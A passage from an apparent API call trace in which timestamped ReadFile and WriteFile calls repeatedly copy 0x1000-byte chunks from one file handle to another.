lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.296] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.296] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.296] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.297] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.297] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.297] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.297] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.297] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.297] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.297] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.299] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.299] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.299] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.299] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.299] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.299] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.299] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.300] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.300] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.300] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.300] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.300] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.300] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.300] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.300] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.301] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.301] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.301] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.301] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.301] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.301] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.301] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.301] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.302] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.302] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.302] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.302] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.302] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.302] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.302] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.302] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.303] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.303] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.303] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.303] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.303] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.303] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.303] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.303] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.304] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.305] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.305] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.305] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.305] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.305] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.305] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.305] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.306] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.306] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.306] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.306] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.306] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.306] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.306] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.306] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.307] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.307] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.307] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.307] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.307] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.307] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.307] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.307] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.308] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.308] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.309] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.309] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.309] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.309] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.309] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.309] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.309] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.309] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.310] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.310] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.310] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.310] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.310] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.310] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.311] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.311] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.311] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.311] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.311] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.311] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.311] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.311] WriteFile (in: hFile=0x390, 